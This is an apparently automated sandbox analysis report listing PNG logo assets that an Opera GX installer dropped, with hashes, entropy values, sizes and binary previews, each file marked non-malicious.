                                                                                                                                                                                                              SHA-512:50EC8592D78F00A6387F06E077E0DEF88DB26723C0FB8632C4EA06F2E09488DB0FB82E0EB1F03DA53F9C750F6CEBD29F7889B1DE342E4F0AE69F88C4B7B1425B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...............V....*IDATx...{.]U}......"... .!.#..D .k..:.....5...6B..Q@+..lq.(%my.P..C-..Eb..<L5..<C!.1.$wu...f..}........5..Yk...^{.}..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)u.d.Y.b?t..Q.E.,u......$o.-..rK....nw..7..w.TF..-...5=.r....?N...a.N.....~7..7,...r..-..q.}..R....Ye#y.u...IF2...Z..6.o.F....R1<w..]T..H..zw{.k..Y.L.Fm.k.ay.W.P.....I..,5G..C..........v.]...].-R..A......1.a;J-..>E....Qe'............#^VF.J.J-.....LRe.....|....g.M.e.+<.l$gHM.l..y..T.s#.Ow.o+....=...4....P"..J...("...]...~....z...h...P.*..QD....Fg.a..7m...W.`.j..C.q...E....D........8.i..D...^c...J.,.../.&rH[M..9.4._kfzN..#..bD.....[.D.4M3.....2Cs.........._k.Z%....bs7+...wkf...'.%..D.j..!M4A.z-R.k5.....q+-.*&j,..GE......p..(.j_V"......i.M...7.....E..LUz.8>i..jm....[.T.].F.%Q.;.2.....X.x.....-...b...;EQ..dU...avR[..V...f....`,.....J........K...........NWe.....Z:YT.>..{....-..(.uvV......P.x...m..ku.)q..Z>9vU;.)..xTC........j"..ra..D..(..6...t.Ib.O.....D

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-180.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 270 x 270, 8-bit colormap, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3904
                                                                                                                                                                                                              Entropy (8bit):7.301300867894784
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Fe0zdfrjvg/ofL7NkqKgOL6bq64wL3XtakhXSTxyfO8cg7WZUScsO62vSQ6Q4MCR:JdfrYoDdbJlXBRSMoj6H626Qr45eg
                                                                                                                                                                                                              MD5:F332E088E89B88070EF1EFBECA5B90F8
                                                                                                                                                                                                              SHA1:86129A8B1E2E7F78D6CE23C58A37FAC9DA5E566D
                                                                                                                                                                                                              SHA-256:6A8F64754C75EDCC9ABC1138E44ACBD7064D7E8E2A28783939241DBD6AFA30A5
                                                                                                                                                                                                              SHA-512:2314AAE692C024F914661E46CFD76531DA6C09B94C084FE915A0594625927DF30282D09518A950EAFCFDD2E499B1E4877CF3CDBF5509DE0CC756DADCDE43FD45
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............Oo......PLTE.....N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N..N...*....tRNS..8Uq...........jO+..D......o3.0y..b...g..a...@........_....d'...7Qp......K;..^h.\.W.../...S....-..J......&......Y..I!.P.w#...uT |....:.V...1.z%.Fn.6....N..L..$.2.?.e.s".ti

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-180_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 270 x 270, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3673
                                                                                                                                                                                                              Entropy (8bit):7.8322183683928195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:nBWR5fosUcvpqnOtkeU4ghCboMmSaj+5UZy:MvHUUMnOtpz4Csz65UZy
                                                                                                                                                                                                              MD5:98B9F7A4F4322E7B46DE392FD20F66E5
                                                                                                                                                                                                              SHA1:D009D227522206C40CF592E460C9642CD03B8769
                                                                                                                                                                                                              SHA-256:A706B332E6A846357A86C30D0E8BB7697E7DD55C2AE592DD45611DDCE0C0BF14
                                                                                                                                                                                                              SHA-512:3B3E5BAF3CFC57119E0812DE2816DF6C7DCB42E96C4891E47C4F32320FD3BE2F27A0118051A6651595BAAAA30069BB1C0D78AA701744A44534CABE7547D4BECD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR..............1.... IDATx...k.u.......:.....*.o..I..J...L.H.(a...1....6S.....b.6..2M...fD.M..TN.5..o qx....;g..}^........."""""""""""""""""""""""""""""""""""""""""""""""""""""""q2.3Qr..z..<r....D.w.2.".r.*...s.......\..)d+.XJ.A........8Vq....g...vo.%..B..._M{.a&.XZ;.|r.v%."NaN.Q..R6....c.cN..~H..M1.X..a'%.d,=iZwF2...;.l.xU.H[..i.6;q.....#.y...w...... m.$~..$...L\E...l. .IM2s5.==.%..-....|.:,.`..........<.c-.".\....l...3...j4...B.sn@....Oxb.%.....B......$...-...WC).j..ru.s+.{.2"..5.c.q.e-...;.`-O1...@.G.F3.El.'..>$...(....d....6....%.CG\.e.[8.5.!.#....`q.3.W]X.%...$y...&...DZI....K..W.x.....%.......H+.O%../..n...~....C4...9nAZ..`..F...2.S.khhtz.E.(.CX....Uf....^&J:..@....$M......(.2..U.].O'vc...mzxlm....obq.M6....,.."H...}J'\yll..,....Jx..$/..X.uH.&.].....r,P-...[9.Q...Lr:....(..>..|..;.h4V.%y.|.]...$#....[[..d...U. ..B.H9..d.26.#.w..5.b....q....oq..0Z.y.NP..1.c.V!!.D=.k1.:.?.q'-..w.]..B,P..B...|....+X....j,..2q....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-80.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1723
                                                                                                                                                                                                              Entropy (8bit):7.769427546963699
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:MtXb2ikqrN+EMaUeTPMSEGS6CT/GF2MdJtDHBkZH39Hmgwiw:CXbzrzfUsUGS6A/ETJtHBYNG1iw
                                                                                                                                                                                                              MD5:1F2FB1BF463B2FF2BEC96784DEBFEF84
                                                                                                                                                                                                              SHA1:AE6F721AD937FE39F86602F71002435B18BF1EDD
                                                                                                                                                                                                              SHA-256:7E6B0D9EA7FDA1B5CA7A0B01290521DFF943DA4CBF1498412CA7D749DB42C32D
                                                                                                                                                                                                              SHA-512:0C92C4F75E620D0B636CFD83E89C69A44F6A96A00006FBD0B13637BA5DCC77C9B302029E62F4B80766811F31810F9C20AC1A98B65C38789951CA0E19A5BB6894
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...x...x.....9d6.....IDATx......... ..................s....P...m.m.m.m.m.6N......w.......-...g2/...)z.....K....~(^..`...j...z.^Sc.n.,.....0.VW..al6...a.....R0...k.Q..N..P.x.J[ol2..)o...A....x.....c.m;F...t.16.....L8....vb=AQ0.<.X).@....M......g.....k..,.AN...-..R......$....b..`...... %H....`6.g#..h.]q..5._.@dA..c0.;X....a.. .2...~..;.1..:.x.....q[@R....,4.w.v.._..s;.b..s.Qu5..U.|.6Zj...P..........\...qa. ..D..W.L...c.~.....A...F1g@x....V..`..,..D.=..d.i..Q...o.c...N......$.`....]...P}.G....BT. .?.......L.n..+nG./..cC.>0.N1.\.C..B..4.l./L.3....T.c.S..bf.0..t...J..!.aU..p`.....0./..}.iL.).w..hc.M..'.. ..;'.p.Rt....R.g......8.%14...S....<.Jf./@..U.h'.G.R..D.\..z.4......<....*2K.S.bj.1....=.../pd.........cfPL$7....S[.M.%H.M..W..T...ZP.aA~....D...+..~EYK.#..zOZ.]fA~...fz..].....7.>..|.........[...v..M..vb.........L....z.`.P...X..RP{.....`...+.0...l/..>...i.w...W. .....x....T...............t..+B}d*`/..+.;L...J..._...iC..pv..gA~..k.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-80_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 120 x 120, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1425
                                                                                                                                                                                                              Entropy (8bit):7.721284228612739
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:sRv0SxfL9UEp3g4/RjUG894TBRVPvhjfghucgXy2nRlWzIXQuohMU9ocyMDh:sRv0sq4/tU10XVPZjhy0Izy9srWcyUh
                                                                                                                                                                                                              MD5:17471BB63ED62A6E545B6B626A763511
                                                                                                                                                                                                              SHA1:586B9EFDE7B3A04580A49F8FE7739593D42D303E
                                                                                                                                                                                                              SHA-256:DFD1054F989CDEE25F19EA792F363F042A125CAB537A424F0224BBEE13607E39
                                                                                                                                                                                                              SHA-512:F619D963B62EDB07C8077C3C6AE60ED8D3F3DD5BB1D05A2B83DCA1A7A4A346598B055F6C7EA22E05BF281B1DE0F205F5D1054819000759D9450EE1FE8F6491AE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...x...x......m.Y...XIDATx...m..e....}....d...9]9\...r2..L..37...S..."s..SV..].t).*.I..dh.Em..`A ...9.`......./..u.}...........v].KUUUUUUUUUUUUUU...~.p.....M.6Y..l.]...Fv..W;..o..d.l...r..{.d..r....a....r.y...@..>.z..C.l.qh............7{E:d.w.W..ZD.2[.~_..y^4.q.!./;GK......Z."s.m..9...{^.g...g...i..[$"F..x.Pj9.b[E...,.q.^.......v. w...4.I.E\....D....9......C".Q.._El0].=.Z`?.>gD....&Y-b...+E...(.f..~`..."^....Z...:\.h....S.v.v-KE,.8.....W.....Ag.V.....q..yD.<..6....x.d.N.....d..?.Q...[..".WZ&.,....v......Z...vG..k.4."...tv....".T.K.L.q..sQZ%.M3V..D...D.!.-.T.*b.n|W.u..xVl....X..._.."...n...5...W.?.1U7Z...p.>#.R.p..#QzJl.;D\..;E....Q..zl.w..wD.4 .j.u....D,.SE<..Bl.........U.Z.[D..._.4K..u.....mJ.e....&.m......-7*..X...:T.K.}..;~....."6(...O..(M..=.#.q.{..xHl..E,...v...3.`......X.[.E|S.IF......C.b.....r......9....o.\.x..WM..J..5.&.IJ......|...........q.J..!{t9L.Y.}D./5.."Vv|./4V.v....i...8Ji......ae18...>.q....0...X.,

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-100.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1564
                                                                                                                                                                                                              Entropy (8bit):7.78686155071436
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:kO3Sxd5HLMZAoBjXkaBPxrX6hzB6eCvTYJSM2nY2YptQ/ceAV5ulBbYZwix2:MLLMWcV2z8nryWY2SDV5uPsqiw
                                                                                                                                                                                                              MD5:C3722E0232EC20AC8F99CCE7A040B294
                                                                                                                                                                                                              SHA1:91CA47DA87EC045ED3EF5D97243167F08FB9E10B
                                                                                                                                                                                                              SHA-256:A333D7E4293F5269426B3FCB673A284F3708A66F957DE62403B6570B24BAE8F5
                                                                                                                                                                                                              SHA-512:71940B8431E36307BA5176939A169B9259BB6B43C32529A10A12C5EA31447BDDCCAD7EB9EF7CB309B175EE7BD56E70926BD5AA0855D0FD9497547ECD7FF93158
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...F...F.....q......IDATx.....L../..m.m.m.m.m{.._...+...d...[.|..y.'.{8..N8..N8....x0..$.iA&..d..@r........&X...../.z..../.....{..../u~....|.._4$5..4...6....q..P..D.U...u...W....o@#..j .o....j...r..MI.n..X.RI.]..W*g.g..;...|.D...2..._.#..$.....A......I..r..GOF#F...L)..P.8.....G.. .l.m..J.=(+.{..@#....CH..|.:..n.%..0..*.{...O.+.Q.ORp...7L)dxS2H..Ge....e....$..k....iJT.~...eZP..A2....g..PUB..|....v.......>..k..~h3...40.x...(.......v.%.F......vl..h`>...P...4...W4.D...\o.9...z....3]........`.}t.......XI.[z..%....S<.e... .D..TA...'.....h....l...,...$7.......0,%....I[Au"...d&?.j......,..|...~F..pB...]......L.]d.v5...U%..h:}%..._.$...X.m.....S.yL...Bc.R;K..8...*..TiP.}5.g..p..m..s].ZU....H.{P.!,..?......t.U....=m-<.a.v..I$...u.T5..LG..b]...c6.19d;k%...3......,..I.[.1..:...YN...h.*5...W..._....dL6.v.Rch..~...i.1G....|].AU.k...H.[Q.a,6.5-....Gt.9U......n(.#...D.v......_.*...@I.}...i.u.@..w.T%..*.&Y.:o.X..3.Z.m..fW..5.....D...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-100_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 70 x 70, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1341
                                                                                                                                                                                                              Entropy (8bit):7.829707677562043
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:vHNfCYvjHq3yow73tnF7H1r8IR07iBa/ptAFjLmocqM3LNpi+MaG9vz:vHsY7Hq3QzT7H1r8Wr0/zAxfyLNp1Pab
                                                                                                                                                                                                              MD5:504D80D276ADCC0163A8E4720013F9E7
                                                                                                                                                                                                              SHA1:6D34A0593FFCE916CD19B66D61004FD7E7EB2CD1
                                                                                                                                                                                                              SHA-256:EBBE0B4761EA8968A0A3FAFB383AC7AE175E98CD31A0F41BDF5FCB43469B58EC
                                                                                                                                                                                                              SHA-512:9961259704FF97C0E1899A33259F62155B73264E272064F3FA90E64124513C7C8BD6AB69A39C1EFB271ECC2972AB8FD86FB836F22153A9BB35419C3816D11337
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...F...F......'*.....IDATx...{L.U......#A../.9S.&:/..%]ti...TL][Hm.n..8,gsZ..Zk....:u....lF...".I..[.H(.q...{.sx.</......y....9.9.<."""""l%.J..2.L...xFp?...?.8....:N.M..`2.i..M.uZZ+'..C......9.f.1.X.}He....b...$..V.."..'T........[.s..}..F.........t.lnK..d.5...Yr..ld..x.\...iP... ....X......a ...i.C.D.E.H.&......Y....h..G.....1..h..C..>t...$...m..+..../.<.n4.."..(w..%,.R-...t.$.?..#.QB.+.ep..-.....r3.LYo....A...1CVK..$=.ER....}.o.m<.....#....D]O 1\..}..^....,.|[..L..j..`...n.,...C.N.K..U...k..(.IF......1.....B6..X..U......oK..cvm...tP.....,lM....iAq.+...~.t..M.&...0......i(.y.Gq......Zw.,.H.|... .H...zXR...>....K... )S...E......V..H0UR*...P.....\.I......n.fj*.*|..1...U(=.....~@=.X....Hq...4.....D..4S-...x.t;.....X0.....`....j....+..X8....z.t..DV.6c.\....=Ri2.y.{ac..../Gv./....X.n..o....x..ha.d.....p..V.QRg....8...?.[Qrxo!...r....Ni.4tOHz...Ca...z.K....er....3...;....(.0..[r)6.J.3.S'..(.v....l..~t..".&Fwx..M....P....>.7.E.Z.Y.%.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-140.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 98 x 98, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2005
                                                                                                                                                                                                              Entropy (8bit):7.837796638299837
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:FtyHJuovwDhlXRvUCvqfPAuwdESKbtU04aQkClnRU8lbPxbsFIV4hEIA:FtygGwDhlX1oHO4KwCAQ9MEIA
                                                                                                                                                                                                              MD5:667BFBAAEB2D2B372B6E0D4BF4992CE4
                                                                                                                                                                                                              SHA1:4C6C2E07183963F59391945FBEE077B55F8F6B2A
                                                                                                                                                                                                              SHA-256:207519F1C7B6C7509BFEB7B55724997EEC6456C8BAF55E882E72FC5CD43DA221
                                                                                                                                                                                                              SHA-512:AC63A3DD2F6088E7849E3824C35FD58CA78EC77DC31E1F6CBD47DE7CC394318CBA7D2309912206A94180267BE057C2AF5C835424019E2A03EE33A2AB801BA9A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...b...b.............IDATx..........S.d..........=...F...m...5.r..........m....g{......[1..q./.D.B."......)h.a.o..x.p..r....]..\....b fR......W.a.."..Ix............58.G.G%D.....0lE..E1D.<...u<o...6>....-.`..FX....l\.....K.....{..Y........D...............B.<G.....7.5...8...\....?.!j.b..F..PH..X....8."..,..R....X...((..G.0..&~a...{..DA<v.....H.4Q.u..a..#<Bk...E ..b\@'...3...U.\..4M...o.m.m.m.m.m..$..R9......&..NMW..{..4].....m....h..y/..x....a.[e..7.ua.^.lC8....l0....1...r.&........G.......c.....d....F]...M.a&.M..V..?[..t.P.Xx...*<.(...s...'.Q....'.~{_......8....R.%..7|O.Bl......Sr....^..@..........us.".M..?x....*.T.....A....&.l........H`g..."...I}E.7..].=...C.gz........V!.EE.....7WvB.!.d..vJ...k.{?.......1.n/.Q.{.....LD..;k...\....]G..S.+....F3.}z.=F(.....$..D.[.y.... /Q..eU...]M.[r.......}.f.s..;..!...s..C...x...Y3...<....0.O.p.\..&5...f.u.....4..A..".. .lD..7.#..P.../.i. ......+...M...}/..U\...}..Ah3"t.....D...!v..V$

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-140_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 98 x 98, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1697
                                                                                                                                                                                                              Entropy (8bit):7.76630495035972
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:TyhJvOYkuSoLYIWawZM7SkzaacHxXgr4RzhQpKP7C:6JWiEIOuWkCxCSzhQpCC
                                                                                                                                                                                                              MD5:93223E8777B581E988B703DF82593B17
                                                                                                                                                                                                              SHA1:40A035464C27041CCC87C7935C45100D93D1C948
                                                                                                                                                                                                              SHA-256:464AFAF960C32ABDC2C3937A48BF14C5D1A819B017E719FDED591D43A65D94C4
                                                                                                                                                                                                              SHA-512:B8A3EE4A71E609625EAB51F0F6DAFCC82CC47BA2C567CC8BF73CF6423056F9171276289BFDCC8428B7C07645097664065EE9B0B78874425BFF800178222FED12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...b...b...........hIDATx...........9.Q.f..ttS....u....%..1.a.s.!f..c.b.b.K7QFg3..Y..2M5..6:B..z9.%..N.s>9.{.=..........|.7------------..QNt.G..].E.....b.s.e..X.C...Q.b.;.p..m......g....L.\te.G\.d...F..X..=f..]y.A..\e.t....Ei''...d.X...X..7[TYh.1J..g...y....]/.,r...........mi..2.6J.6Yte.....g.....<o...;..v.T..KJm..\T....i...G.."Qe.c..1.I.T#.6...2...7.y.K.*'.....p..J.2S.V...zf..Z%b..Z.6.z._j.}K..w..R.2.Y..M...P..l..d.JG..Sm..0V..o.u.'R..6...(U.k...k.+m..i].n.ub..D.b.JwJ......-1..(. U..|.^....(."UO..z;.@,2Vi..D,...;K.NAi.."f.TO.j.XlO..}$..M6..".iC.."..MO]-..[(]"U.i..E...J.K..zn..".V..M..i....q.(=%.5...R.e...:P."..(.*U..[...M.G~C......Q3)..]o.%U.*./.c....t..:J...q..k...g...R....\...A.@.kl...H.vJ...x..../....9.:..?q...Y..":@i...4f..E.Yi.T}^.....Q..#..h.#"...4S.y.l...AiG.kl.QWI.nJ.E.F.}M.tP...9...U.f..g...../....]..U:N.{..B..A.2..i.Ru..A"..+jg.kE./Ru..R.g.D...n.q..X-b...f...b.+.q......gD.Y.....q.....t..kA.."&j..Ru..."...j..D..4n.S.wD..gG.x..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-180.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 126 x 126, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2699
                                                                                                                                                                                                              Entropy (8bit):7.8799233652993115
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Is+9LgA+9fj19UhKwdgrviOztr/CrWbqCLRTFxFCEEgq0Ol81sqAGz:IlSN1gBTOztr/jbzdh1y0wl1+
                                                                                                                                                                                                              MD5:704D0A2693B350E7C463B0FF2143835B
                                                                                                                                                                                                              SHA1:0313AD4C3690A590AC54552D2C27806E73776600
                                                                                                                                                                                                              SHA-256:D6367DBC074E37F3488C26B0BAD229BFE99F5C6BB0E28D37B41906C436152B57
                                                                                                                                                                                                              SHA-512:4517B2FA911149885EC5549F3173D3C774716740826873E4B2199C804B17E776A5296565930E5ACDB8D5476710A391B21E6DA8941DF64C525A487DB4619A1EA7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...~...~......#.....RIDATx......................f..`....6..m..j#fm.qm.Am.m......%_...q.i-.>dh.........q.o!!..]...LC.TF..D.o.8...8.O..|.iLC#$PO<..1P.....wX....J..<5...$`O1.YU..g.L....<.....h....K.4Aw.....[.I...yU)....D|..x......`f..................9f....Y...p..!..E..U%...]......l.#.....#gPB.5...^C4.G.........g...5R... ......W.~H@. .*....8.....G...N.U...c....J".....YQ.m0....b.5.V.Y....:.......(W1.E...yb.,..a.bT.^.O!a...6...+!:.*..|O1......ZQ9...M.6.....!.6..O.XI...#jF..w.o.#|c...%Y.h.m.m.m.m.m.......8.qog.N.....3.}...R.....8...P.M.....].....B......3xs...:M!...K.;.mL.7l.N..=..7......sfJ.;..|Q........}:m..08...y.+.5...D..:....|8.m.]........04Z..b.......c.r....|.....m.6/..!...Y..)4._..0KY.e.[.qL.!...X ..jk.....|.....Ki....q...28...-.....<....4.d`.Z{.-]|B..3 PJ.gP.iW-..]m..61c...8.b.,.. P?&.0........A..!_k`.\.s.>.......d..R...."*<.e../.A.S .+...O.Oq.&.B.Y.6...S.!W^....... ..3.A..*...GA.uX.|[..Oh..=..[..9....l-.l..+...mM..Xu_.#)..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-180_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 126 x 126, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2334
                                                                                                                                                                                                              Entropy (8bit):7.8839656878677005
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:W/zeI9zj1u/VwgVNR+vEgxOfU99BpcZlp9uqRhq4eZDU0BMK:W/zn51gxN4RxH9hUlpkAMt/BT
                                                                                                                                                                                                              MD5:39E2FCF13C20103C5F449C06D3A4CF75
                                                                                                                                                                                                              SHA1:AE8E1BCE2BE17ED450D891864E6AA22642AF39AC
                                                                                                                                                                                                              SHA-256:5D46E4056F3915C279F1FA9EDF61D93529FBCAE5C59D616380EC5D9405B7763D
                                                                                                                                                                                                              SHA-512:8E4902262B064008804D49D1B5F27BB7B8F33ECEFB05181AA69534E1D21662719DD4F8E0677C58215F6C5CA9EB4FB92FCA54A89F9720230AFBF06A70216ABF26
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...~...~.....H*m.....IDATx...{p......1\0<.%.1<........L.(.0P....R.(Hkk.3.>(-.X.t...>.Q........#P.H.JECxZ.<...5...${.7......../...g........x<.....x<u.0.Y<.f.s.r..7..1.Q.#.#...X...C|.r.......h...b.e..D.[.H..RG.q..f\.9RhV.y....<.Z..0..K.9.c.s(.C9...d=.4..YJ.V....l2..Y,.....u..kH&........rFh.Na.k8A%J..<.-D...Wc.EL'..T~.......I.........N..F...<E.Q$.*.-N2..a.D..;H Jt..%q.....ml......3L$.n..-.Ha0SX..\.#..w..28..W...Z.......Y.......o.......v5.......|...xv.X.G5m.e....tzq.e.7.G.r..Q...D2l.^....E)J..14............~..HCg8...JZ..TN....id..l...3.Vz9...` ....%3.F..v.JG'....Y...,.lc"-.K.]y...h.m.0C.I....".(Gq....g.S>E#....C..+.....].u...+..I...g....b.H....3d.S =.O,.7[...q.|.6/..U.U(.ed.,....DX{.JA}.im;..)..ld.p.*?....QK.....H..i.....#.~&=.&....pZ..&.2....J.s....p..r...y.e.....c..3.g.H.z".#....C'M.h...?......v...&"...z.e(i.+Wz].....<....?....M+s.&....d....*.0n.....s...<Ws?I....?.{...`5z3..w8.........s.B.d..K..K....LLY.j..^...a.p.~.z....-......l.dM.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-80.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 56 x 56, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1096
                                                                                                                                                                                                              Entropy (8bit):7.755097954664401
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:TDh4JYYFMId219dZt07Zcglb4iS/cFEAAabL3/006Fs:B4JBMPVEbCe/006Fs
                                                                                                                                                                                                              MD5:32D3E390613CDDBD639E70DDB2511AC0
                                                                                                                                                                                                              SHA1:C96AC088E72D756F31896B16776EF100379F802C
                                                                                                                                                                                                              SHA-256:DC20E5AA2B500CD5B5C9F89647D3487810685C94268F22678E27820E2454BB3E
                                                                                                                                                                                                              SHA-512:7381CEB8FEE84F398082177F30DC01593BEEFA729C73B0166AF686BCD25D54312B202D9243834B754769DE41E9A1DEED74CA91A76DCDA918A749CDB4F08C124B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
